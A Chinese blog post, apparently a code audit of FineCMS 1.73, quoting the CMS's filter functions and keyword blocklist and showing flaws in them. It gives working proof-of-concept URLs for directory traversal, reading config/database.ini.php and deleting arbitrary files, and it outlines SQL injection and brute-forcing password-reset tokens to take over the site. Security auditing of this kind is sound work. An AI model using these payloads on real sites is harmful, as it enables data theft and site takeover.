- A+
显示不全请点击全屏阅读
FineCMS是一款基于PHP+MySql开发的内容管理系统,采用MVC设计模式实现业务逻辑与表现层的适当分离,使网页设计师能够轻松设计出理想的模板,插件化方式开发功能易用便于扩展,支持自定义内容模型和会员模型,并且可以自定义字段,系统内置文章、图片、下载、房产、商品内容模型,系统表单功能可轻松扩展出留言、报名、书籍等功能,实现与内容模型、会员模型相关联,FineCMS可面向中小型站点提供重量级网站建设解决方案
本人看程序代码,只是为了学习,不断学习中…
这是最新1.73版,比之前1.72版在安全方面改进很大,加了不少过滤,也修复了几个公布了的漏洞,不过貌似看更新记录上没说,哈哈。我也是第一次看这套程序,只是最近看到好几个文章爆的它的漏洞,俺也来插一脚。
作者:Seay
用到的工具:Seay PHP代码审计工具
下载地址:http://www.cnseay.com/archives/1115
本文下载地址:Finecms1.73代码审计总结
目录:
一、前台(两处)+后台任意目录浏览+任意文件删除漏洞
二、后台任意文件读取漏洞
三、前台任意文件删除漏洞
四、后台遍地鸡肋注入
五、对找回密码功能代码的看法
先载入工具扫描一遍
先看看过滤函数:
1、Core\\Model.php文件
/**
* 字符串转义函数
*
* SQL语句指令安全过滤,用于字符转义
* @access public
* @param mixed $value 所要转义的字符或字符串,注:参数支持数组
* @return string|string
*/
public static function quote_into($value) {
if (is_array($value)) {
foreach ($value as $key=>$string) {
$value[$key] = self::quote_into($string);
}
} else {
//当参数为字符串或字符时
if (is_string($value)) {
$value = ‘\” . addslashes($value) . ‘\”;
}
}
return $value;
}
2、 Extensions\\function.php文件
/**
* 安全过滤函数
* @param $string
* @return string
*/
function safe_replace($string) {
$string = str_replace(‘%20’,”,$string);
$string = str_replace(‘%27’,”,$string);
$string = str_replace(‘%2527’,”,$string);
$string = str_replace(‘*’,”,$string);
$string = str_replace(‘”‘,'”‘,$string);
$string = str_replace(“‘”,”,$string);
$string = str_replace(‘”‘,”,$string);
$string = str_replace(‘;’,”,$string);
$string = str_replace(‘<‘,'<‘,$string);
$string = str_replace(‘>’,’>’,$string);
$string = str_replace(“{“,”,$string);
$string = str_replace(‘}’,”,$string);
return $string;
}
3、 config\attackcode.ini.php文件
/**
* GET和POST非法字符过滤配置(防非法字符攻击)
*/
return array(
/*
* GET参数非法字符过滤
*/
‘get’ => array(
‘select ‘,
‘insert ‘,
‘\”,
‘/*’,
‘*’,
‘../’,
‘union ‘,
‘into ‘,
‘load_file(‘,
‘outfile ‘,
‘script’,
),
/*
* POST值非法字符过滤
*/
‘post’ => array(
‘<script’,
‘<frame’,
‘<iframe’,
‘<style’,
),
4、 core\\Controller.php文件 可以看到 $_COOKIE没过滤
/**
* 用于初始化本类的运行环境,或对基本变量进行赋值
*/
public function __construct() {
if (get_magic_quotes_runtime()) set_magic_quotes_runtime(0);
if (get_magic_quotes_gpc()) {
!isset($_COOKIE) or $_COOKIE = $this->strip_slashes($_COOKIE);
} else {
!isset($_POST) or $_POST = $this->add_slashes($_POST);
!isset($_GET) or $_GET = $this->add_slashes($_GET);
!isset($_SESSION) or $_SESSION = $this->add_slashes($_SESSION);
}
$this->view = View::getInstance();
}
过滤函数挺多的,就是过滤的不严谨,
一、前台(两处)+后台任意目录浏览+任意文件删除漏洞
我们看到config\attackcode.ini.php文件的GET和POST的过滤函数,很明显的,过滤了../没过滤\\这是返回上一级目录的,不过作者忘记了在windows下有时候斜杠\\和反斜杠/是一样的,
第一处:在前台有个会员图片附件和文件附件浏览,我们利用这里就可以任意目录浏览了。
Controllers\\member\\\ContentController.php 文件
/**
* 附件管理
*/
public function attachmentAction() {
$type = $this->get(‘type’);
$mdir = ‘uploadfiles/member/’ . $this->memberinfo[‘id’] . ‘/’; //会员附件目录
if (!file_exists($mdir)) mkdir($mdir);
$mdir = $type == 1 ? $mdir . ‘file/’ : $mdir . ‘image/’;
if (!file_exists($mdir)) mkdir($mdir);
$dir = urldecode($this->get(‘dir’));
if (strpos($dir, ‘../’) !== false) $this->memberMsg(lang(‘m-con-20’), url(‘member/content/attachment’, array(‘type’=>$type)));
$dir = substr($dir, 0, 1) == ‘/’ ? substr($dir, 1) : $dir;
$data = file_list::get_file_list($mdir . $dir . ‘/’);
$list = array();
if ($data) {
foreach ($data as $t) {
$dir可控
http://www.cnseay.com/index.php?s=member&c=content&a=attachment&dir=..\\..\\..\\..\\&type=0
第二处:
我们在前台发布的时候,点击附件,浏览,抓下包就可以看到GET地址
http://www.cnseay.com/index.php?c=attachment&a=album&dir=Li5cLi5cLi5cLw==&iframe=0&admin=0
Li5cLi5cLi5cLw== Base64解密后为..\..\..\
3、后台任意目录浏览同理。
http://www.cnseay.com/index.php?s=admin&c=attachment&dir=XC4u&iframe=0
XC4u base64解密后是\..
4、后台任意文件删除
同道理,不说了
/**
* 删除文件夹
*
* @param string $file_dir 所要删除文件的路径
* @return boolean
*/
public static function delete_dir($file_dir) {
if (!$file_dir) return false;
$parse_dir = self::parse_dir($file_dir);
$file_list = self::get_file_list($parse_dir);
foreach ($file_list as $file) {
if (is_dir($parse_dir . ‘/’ . $file)) {
self::delete_dir($parse_dir . ‘/’ . $file);
rmdir($parse_dir . ‘/’ . $file);
} else {
unlink($parse_dir . ‘/’ . $file);
}
}
return true;
}
修复:过滤完整
二、后台任意文件读取漏洞:
同理,还是斜杠和反斜杠的问题,
Controllers\\admin\\ThemeController.php 文件
public function editAction() {
$dir = base64_decode($this->get(‘dir’));
$dir = substr($dir, -1) == DIRECTORY_SEPARATOR ? substr($dir, 0, -1) : $dir;
if (strpos($dir, ‘../’) !== false) $this->adminMsg(lang(‘m-con-20’));
$name = $this->dir . $dir;
if (!is_file($name)) $this->adminMsg(lang(‘a-con-123’, array(‘1’=>$name)));
if ($this->isPostForm()) {
$Pdir = $this->dir == dirname($name) . DIRECTORY_SEPARATOR ? ” : str_replace($this->dir, ”, dirname($name));
file_put_contents($name, stripslashes($_POST[‘file_content’]), LOCK_EX);
$this->adminMsg(lang(‘success’), url(‘admin/theme/index’, array(‘dir’=>base64_encode($Pdir . DIRECTORY_SEPARATOR))), 3, 1, 1);
}
$file = file_get_contents($name);
$this->view->assign(array(
‘name’ => str_replace($this->dir, ”, $name),
‘file’ => $file,
‘syntax’ => strtolower(trim(substr(strrchr($name, ‘.’), 1, 10))),
‘action’ => ‘edit’,
‘iswrite’=> is_writable($this->dir),
));
$this->view->display(‘admin/theme_add’);
}
$dir可控
http://www.cnseay.com/index.php?s=admin&c=theme&a=edit&dir=XC4uXC4uXGNvbmZpZ1xkYXRhYmFzZS5pbmkucGhw
XC4uXDEudHh0 base64解密后是\..\..\config\database.ini.php
修复:过滤完整
三、前台任意文件删除漏洞
看工具的提示:
265 /**
266 * 删除附件
267 */
268 public function delattachmentAction() {
269 $type = $this->get(‘type’);
270 $mdir = ‘uploadfiles/member/’ . $this->memberinfo[‘id’] . ‘/’; //会员附件目录
271 if (!file_exists($mdir)) mkdir($mdir); //可能存在畸形目录创建漏洞
272 $mdir = $type == 1 ? $mdir . ‘file/’ : $mdir . ‘image/’;
273 if (!file_exists($mdir)) mkdir($mdir); //可能存在畸形目录创建漏洞
274 $dir = urldecode($this->get(‘dir’));
275 $dir = substr($dir, 0, 1) == ‘/’ ? substr($dir, 1) : $dir;
276 if (realpath($mdir . $dir) == false || strpos($dir, ‘../’) !== false) $this->memberMsg(lang(‘m-con-21’));
277 if (file_exists($mdir . $dir)) {
278 if (is_dir($mdir . $dir)) {
279 $this->delDir($mdir . $dir);
280 $this->memberMsg(lang(‘success’), url(‘member/content/attachment’, array(‘type’=>$type)), 1);
281 } else {
282 unlink($mdir . $dir); //可能存在任意文件删除漏洞
283 $this->memberMsg(lang(‘success’), url(‘member/content/attachment’, array(‘type’=>$type, ‘dir’=>urlencode(dirname($dir)))), 1);
284 }
285 } else {
286 $this->memberMsg(lang(‘m-con-22’, array(‘1’=>$dir)));
287 }
288 }
很明显的,$dir我们可控,就是任意文件删除了,其实也是会员的一个删除附件的功能
删除安装锁文件,可重装程序,后台拿shell就很简单了
修复:过滤完整
四、后台遍地鸡肋注入
后台注入很多很多,不过要在后台关闭 “禁止非法字符提交”的时候才能用,
可能作者做这么一个开关,是考虑到用户体验吧,只是说明有这么一个缺陷,没有什么价值。
修复:intval()一下,或者其他
五、对找回密码功能代码的看法
在controllers\\member\\Common.php文件中有一个找回密码的函数。
86 /**
87 * 密码找回邮件通知
88 */
89 protected function passEmail($username, $email) {
90 if (empty($username) || empty($email)) return false;
91 $rand = md5(rand(1000, 9999)); //随机数
92 $link = $this->get_server_name() . url(‘member/repass/find’, array(‘id’=>base64_encode(time() . ‘|’ . $rand . ‘|’ . md5($username))), 1);
93 $this->member->update(array(‘randcode’=>$rand), “username='” . $username . “‘”); //可能存在SQL语句,请注意是否过滤
94 mail::set($this->site);
95 $content = $this->memberconfig[‘pass_tpl’] ? $this->memberconfig[‘pass_tpl’] : lang(‘m-com-6’, array(‘1’=>$username, ‘2’=>$link));
96 $content = str_replace(array(‘{username}’, ‘{link}’), array($username, $link), $content);
97 return mail::sendmail($email, lang(‘m-com-7’, array(‘1’=>$this->site[‘SITE_NAME’])), htmlspecialchars_decode($content));
98 }
它的功能就是给生成一个找回密码的链接发送的用户邮箱,同时修改用户randcode字段为生成的随机数的md5。
我们分析下找回密码链接:
$link = $this->get_server_name() . url(‘member/repass/find’, array(‘id’=>base64_encode(time() . ‘|’ . $rand . ‘|’ . md5($username))), 1);
就是这句代码拼接的链接,
get_server_name() 获得网站域名,后面加上member/repass/find,然后再加上时间戳time()和1000到9999之间的一个随机数和用户名的md5 的Base64编码,可以看出,时间戳可碰撞,随机数可碰撞,用户名md5可知,那么我们写一个程序,两个线程同时提交不同用户找回密码的请求,那时间戳相差就很小很小了,现在我们能大概确定时间戳的范围,用户名MD5知道,现在我们写一个自动提交的程序,当然要能判断链接是否正确,记得前两天我写了一个,可以到我博客去下载,我们改下程序,加一个自动生成1000-9999之间的数,不断递增并MD5加密,拼接链接,然后自动访问生成的链接,当出现成功特征字符,就说明成功了。如此看来,这个找回密码的方法还是有一定的危险性,当然这里只是对这个方法来讨论下。
修复:找回密码链接最好类似 md5(username+password+other) 这种形式,个人感觉会好一点。
之前说的cooki没过滤,我们来看下设置cookie的地方,
cookie::set(‘member_id’, $member[‘id’], $time);
cookie::set(‘member_code’, substr(md5(SITE_MEMBER_COOKIE . $member[‘id’]), 5, 20), $time);
后面用到cookie的地方,比如
/**
* 获取会员信息
*/
protected function getMember() {
if (cookie::is_set(‘member_id’) && cookie::is_set(‘member_code’)) {
$uid = cookie::get(‘member_id’);
$code = cookie::get(‘member_code’);
if (!empty($uid) && $code == substr(md5(SITE_MEMBER_COOKIE . $uid), 5, 20)) {
$_memberinfo = $this->member->find($uid);
$member_table = $this->membermodel[$_memberinfo[‘modelid’]][‘tablename’];
if ($_memberinfo && $member_table) {
$_member = $this->model($member_table);
$memberdata = $_member->find($uid);
if ($memberdata) {
$_memberinfo = array_merge($_memberinfo, $memberdata);
$this->memberedit = 1; //不需要完善会员资料
}
if ($this->memberconfig[‘uc_use’] == 1 && function_exists(‘uc_api_mysql’)) {
$uc = uc_api_mysql(‘user’, ‘get_user’, array(‘username’=> $_memberinfo[‘username’]));
if ($uc != 0) $_memberinfo[‘uid’] = $uc[0];
}
return $_memberinfo;
}
}
}
return false;
}
这个验证用的比较好。
不看了,大半夜的,先看到这,以后有时间再把这套程序看完,这个文章写的比较急,将就着看吧,这几天天天忙着准备工作。蛋疼啊
Tags:
如果您喜欢我的博客,欢迎点击图片定订阅到邮箱 也可以点击链接【订阅到鲜果】
如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡